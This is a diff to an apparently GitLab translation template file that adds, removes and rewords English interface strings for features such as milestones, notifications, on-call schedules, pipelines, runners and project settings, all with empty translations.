msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
